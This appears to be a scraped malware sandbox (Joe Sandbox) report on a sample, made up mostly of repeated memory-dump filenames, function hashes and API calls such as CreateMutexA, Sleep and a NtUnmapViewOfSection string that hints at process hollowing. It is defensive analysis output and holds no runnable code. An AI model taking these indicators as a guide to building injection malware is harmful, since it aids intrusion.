Associated: 00000000.00000002.1733107097.0000000000B77000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733314395.0000000000CD9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733356088.0000000000CDC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733400173.0000000000CF4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733444371.0000000000CF5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733559555.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733587156.0000000000CF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733642258.0000000000CF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733642258.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733719184.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733744628.0000000000D0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733771598.0000000000D15000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733796583.0000000000D16000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733820921.0000000000D17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733845710.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733870179.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733895165.0000000000D1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733920839.0000000000D25000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733946288.0000000000D28000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733975782.0000000000D33000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734004128.0000000000D34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734032105.0000000000D3A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734062773.0000000000D47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734091269.0000000000D50000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734117986.0000000000D52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734146683.0000000000D5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734174772.0000000000D60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734201860.0000000000D61000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734229514.0000000000D68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734256304.0000000000D69000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734283739.0000000000D6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734316653.0000000000D8B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734344392.0000000000D91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734372271.0000000000D99000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734401059.0000000000D9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734428611.0000000000DA5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734457451.0000000000DA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734487570.0000000000DB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734513126.0000000000DB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734540698.0000000000DC5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734566371.0000000000DC7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734566371.0000000000DE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734629722.0000000000E15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734655302.0000000000E16000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734681501.0000000000E1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734707075.0000000000E1F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734735891.0000000000E2B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734761395.0000000000E2C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734787057.0000000000E2D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: CloseOpenQueryValue
String ID: $($NtUnmapViewOfSection$VUUU$invalid stoi argument$ntdll.dll$stoi argument out of range
API String ID: 3677997916-2979661614
Opcode ID: 0f48695ee0448df0292056c3a86e422ae391b22359f5009a22f41f4cf10114f4
Instruction ID: 92ea30437b4782a4782c4d13d90b9a5c1e6e9b8440971e4319e47ff584142563
Opcode Fuzzy Hash: 0f48695ee0448df0292056c3a86e422ae391b22359f5009a22f41f4cf10114f4
Instruction Fuzzy Hash: 1EA216B1A002089FEB18DF68CC85BDEBBF5EF45304F508198F915A72C1DB75AA94CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00B37BBB Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32(?,?,00B37BBA,?,?,?,?,?,00B38C0E), ref: 00B37BF7

Memory Dump Source

Source File: 00000000.00000002.1732891922.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1732853612.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1732891922.0000000000B64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733022404.0000000000B69000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733064856.0000000000B6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733107097.0000000000B77000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733314395.0000000000CD9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733356088.0000000000CDC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733400173.0000000000CF4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733444371.0000000000CF5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733559555.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733587156.0000000000CF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733642258.0000000000CF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733642258.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733719184.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733744628.0000000000D0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733771598.0000000000D15000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733796583.0000000000D16000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733820921.0000000000D17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733845710.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733870179.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733895165.0000000000D1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733920839.0000000000D25000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733946288.0000000000D28000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733975782.0000000000D33000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734004128.0000000000D34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734032105.0000000000D3A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734062773.0000000000D47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734091269.0000000000D50000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734117986.0000000000D52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734146683.0000000000D5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734174772.0000000000D60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734201860.0000000000D61000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734229514.0000000000D68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734256304.0000000000D69000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734283739.0000000000D6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734316653.0000000000D8B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734344392.0000000000D91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734372271.0000000000D99000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734401059.0000000000D9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734428611.0000000000DA5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734457451.0000000000DA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734487570.0000000000DB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734513126.0000000000DB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734540698.0000000000DC5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734566371.0000000000DC7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734566371.0000000000DE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734629722.0000000000E15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734655302.0000000000E16000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734681501.0000000000E1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734707075.0000000000E1F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734735891.0000000000E2B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734761395.0000000000E2C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734787057.0000000000E2D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 67960bc469ab9310355effb4efc889be2f59dfd1c6eaa73269399957f11fca61
Instruction ID: 9f92b74956d8a901264252e156b0061680be0e8ebc8b981b2868c914bf8870ad
Opcode Fuzzy Hash: 67960bc469ab9310355effb4efc889be2f59dfd1c6eaa73269399957f11fca61
Instruction Fuzzy Hash: CAE08C3048420CAFCF357B18DDA8EA87BADEB91380F200854FD084A621EF25ED83C580

Uniqueness

Uniqueness Score: -1.00%

Function 05000D4A Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1737265178.0000000005000000.00000040.00001000.00020000.00000000.sdmp, Offset: 05000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5000000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 909b3c0432a1c75bbdf71eaadbd9db82b2079c106947b0bcc028eec3e4f470d0
Instruction ID: f759c9c15810ed688941e0d20b4e27ea307330f56116a5e399737dff2fe0dc46
Opcode Fuzzy Hash: 909b3c0432a1c75bbdf71eaadbd9db82b2079c106947b0bcc028eec3e4f470d0
Instruction Fuzzy Hash: 4EF024DF14C9246D7190A2A53A297FE575EC2D6730BB09033B807D20C3D5881A8A2032

Uniqueness

Uniqueness Score: -1.00%

Function 00B05D40 Relevance: 3.3, APIs: 2, Instructions: 311
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1732891922.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1732853612.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1732891922.0000000000B64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733022404.0000000000B69000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733064856.0000000000B6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733107097.0000000000B77000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733314395.0000000000CD9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733356088.0000000000CDC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733400173.0000000000CF4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733444371.0000000000CF5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733559555.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733587156.0000000000CF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733642258.0000000000CF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733642258.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733719184.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733744628.0000000000D0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733771598.0000000000D15000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733796583.0000000000D16000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733820921.0000000000D17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733845710.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733870179.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733895165.0000000000D1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733920839.0000000000D25000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733946288.0000000000D28000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733975782.0000000000D33000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734004128.0000000000D34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734032105.0000000000D3A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734062773.0000000000D47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734091269.0000000000D50000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734117986.0000000000D52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734146683.0000000000D5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734174772.0000000000D60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734201860.0000000000D61000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734229514.0000000000D68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734256304.0000000000D69000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734283739.0000000000D6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734316653.0000000000D8B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734344392.0000000000D91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734372271.0000000000D99000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734401059.0000000000D9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734428611.0000000000DA5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734457451.0000000000DA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734487570.0000000000DB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734513126.0000000000DB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734540698.0000000000DC5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734566371.0000000000DC7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734566371.0000000000DE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734629722.0000000000E15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734655302.0000000000E16000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734681501.0000000000E1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734707075.0000000000E1F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734735891.0000000000E2B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734761395.0000000000E2C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734787057.0000000000E2D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5bea8cea829f54d9bfdc584c601233a362996a2ad2407f0f392cf4c9872be3a
Instruction ID: 57e02c5e3cf3f746307aba7571f6a9c112c2a4ad6dcffbb6de4eb1bd56e58063
Opcode Fuzzy Hash: f5bea8cea829f54d9bfdc584c601233a362996a2ad2407f0f392cf4c9872be3a
Instruction Fuzzy Hash: 9DB1F3B190020CABEB24DF54CD84BEEBBF9EB44304F5042A9F915A72C1DB749A84CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00B09675 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 00B0A435
CreateMutexA.KERNELBASE(00000000,00000000,00B651D8), ref: 00B0A453

Memory Dump Source

Source File: 00000000.00000002.1732891922.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1732853612.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1732891922.0000000000B64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733022404.0000000000B69000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733064856.0000000000B6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733107097.0000000000B77000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733314395.0000000000CD9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733356088.0000000000CDC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733400173.0000000000CF4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733444371.0000000000CF5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733559555.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733587156.0000000000CF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733642258.0000000000CF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733642258.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733719184.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733744628.0000000000D0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733771598.0000000000D15000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733796583.0000000000D16000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733820921.0000000000D17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733845710.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733870179.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733895165.0000000000D1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733920839.0000000000D25000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733946288.0000000000D28000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733975782.0000000000D33000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734004128.0000000000D34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734032105.0000000000D3A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734062773.0000000000D47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734091269.0000000000D50000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734117986.0000000000D52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734146683.0000000000D5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734174772.0000000000D60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734201860.0000000000D61000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734229514.0000000000D68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734256304.0000000000D69000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734283739.0000000000D6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734316653.0000000000D8B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734344392.0000000000D91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734372271.0000000000D99000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734401059.0000000000D9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734428611.0000000000DA5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734457451.0000000000DA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734487570.0000000000DB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734513126.0000000000DB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734540698.0000000000DC5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734566371.0000000000DC7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734566371.0000000000DE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734629722.0000000000E15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734655302.0000000000E16000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734681501.0000000000E1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734707075.0000000000E1F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734735891.0000000000E2B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734761395.0000000000E2C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734787057.0000000000E2D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 143f052b78cdb8000493e808a9f4f23a342c7f194be784c4a372b7fdbda18606
Instruction ID: 33460e25c241e477f57c5af019cc22ef3e48d36fb54c6a66e534832ffe27935b
Opcode Fuzzy Hash: 143f052b78cdb8000493e808a9f4f23a342c7f194be784c4a372b7fdbda18606
Instruction Fuzzy Hash: 3B310A726102049BFB18DB78CC857ADBFE6EB85314F208698E425AB3D2C77599808791

Uniqueness

Uniqueness Score: -1.00%

Function 00B09A14 Relevance: 3.1, APIs: 2, Instructions: 128
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 00B0A435
CreateMutexA.KERNELBASE(00000000,00000000,00B651D8), ref: 00B0A453

Memory Dump Source

Source File: 00000000.00000002.1732891922.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1732853612.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1732891922.0000000000B64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733022404.0000000000B69000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733064856.0000000000B6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733107097.0000000000B77000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733314395.0000000000CD9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733356088.0000000000CDC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733400173.0000000000CF4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733444371.0000000000CF5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733559555.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733587156.0000000000CF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733642258.0000000000CF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733642258.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733719184.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733744628.0000000000D0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733771598.0000000000D15000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733796583.0000000000D16000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733820921.0000000000D17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733845710.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733870179.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733895165.0000000000D1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733920839.0000000000D25000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733946288.0000000000D28000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733975782.0000000000D33000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734004128.0000000000D34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734032105.0000000000D3A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734062773.0000000000D47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734091269.0000000000D50000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734117986.0000000000D52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734146683.0000000000D5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734174772.0000000000D60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734201860.0000000000D61000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734229514.0000000000D68000.00000040.00000001.01000000.00000003.sdmpDownload File
